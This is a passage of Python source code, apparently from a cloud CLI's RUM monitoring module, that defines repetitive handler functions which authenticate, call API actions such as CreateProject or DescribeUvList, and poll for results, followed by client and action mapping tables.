json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateProject(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateProjectRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.CreateProject(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataReportCount(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataReportCountRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataReportCount(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataPvUrlInfo(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataPvUrlInfoRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataPvUrlInfo(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataStaticProject(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataStaticProjectRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataStaticProject(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteProject(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteProjectRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DeleteProject(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeOfflineLogRecords(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeOfflineLogRecordsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeOfflineLogRecords(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeUvList(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeUvListRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeUvList(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteOfflineLogConfig(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteOfflineLogConfigRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DeleteOfflineLogConfig(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeReleaseFiles(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeReleaseFilesRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeReleaseFiles(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doModifyInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.ModifyInstanceRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.ModifyInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataFetchUrl(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataFetchUrlRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataFetchUrl(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateOfflineLogConfig(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateOfflineLogConfigRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.CreateOfflineLogConfig(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
CLIENT_MAP = {
"v20210622": rum_client_v20210622,
}
MODELS_MAP = {
"v20210622": models_v20210622,
}
ACTION_MAP = {
"DescribeTawAreas": doDescribeTawAreas,
"CreateReleaseFile": doCreateReleaseFile,
"DescribeDataLogUrlInfo": doDescribeDataLogUrlInfo,
"DescribeTawInstances": doDescribeTawInstances,
"DescribeDataPerformancePage": doDescribeDataPerformancePage,
"DescribeDataLogUrlStatistics": doDescribeDataLogUrlStatistics,
"DescribeDataFetchProject": doDescribeDataFetchProject,
"DeleteInstance": doDeleteInstance,
"DescribeDataStaticUrl": doDescribeDataStaticUrl,
"ResumeInstance": doResumeInstance,
"DescribeDataPerformanceProject": doDescribeDataPerformanceProject,
"DescribeError": doDescribeError,
"DescribeLogList": doDescribeLogList,
"DescribeOfflineLogs": doDescribeOfflineLogs,
"CreateTawInstance": doCreateTawInstance,
"DescribePvList": doDescribePvList,
"DescribeLogExports": doDescribeLogExports,
"DescribeDataWebVitalsPage": doDescribeDataWebVitalsPage,
"DeleteStarProject": doDeleteStarProject,
"DescribeDataFetchUrlInfo": doDescribeDataFetchUrlInfo,
"DescribeDataPvUrlStatistics": doDescribeDataPvUrlStatistics,
"DescribeData": doDescribeData,
"DescribeReleaseFileSign": doDescribeReleaseFileSign,
"CreateLogExport": doCreateLogExport,
"DescribeDataSetUrlStatistics": doDescribeDataSetUrlStatistics,
"DescribeDataStaticResource": doDescribeDataStaticResource,
"DescribeProjectLimits": doDescribeProjectLimits,
"DescribeDataCustomUrl": doDescribeDataCustomUrl,
"CreateWhitelist": doCreateWhitelist,
"DescribeProjects": doDescribeProjects,
"CreateStarProject": doCreateStarProject,
"DeleteWhitelist": doDeleteWhitelist,
"ModifyProjectLimit": doModifyProjectLimit,
"StopInstance": doStopInstance,
"ModifyProject": doModifyProject,
"DeleteReleaseFile": doDeleteReleaseFile,
"DeleteLogExport": doDeleteLogExport,
"DescribeWhitelists": doDescribeWhitelists,
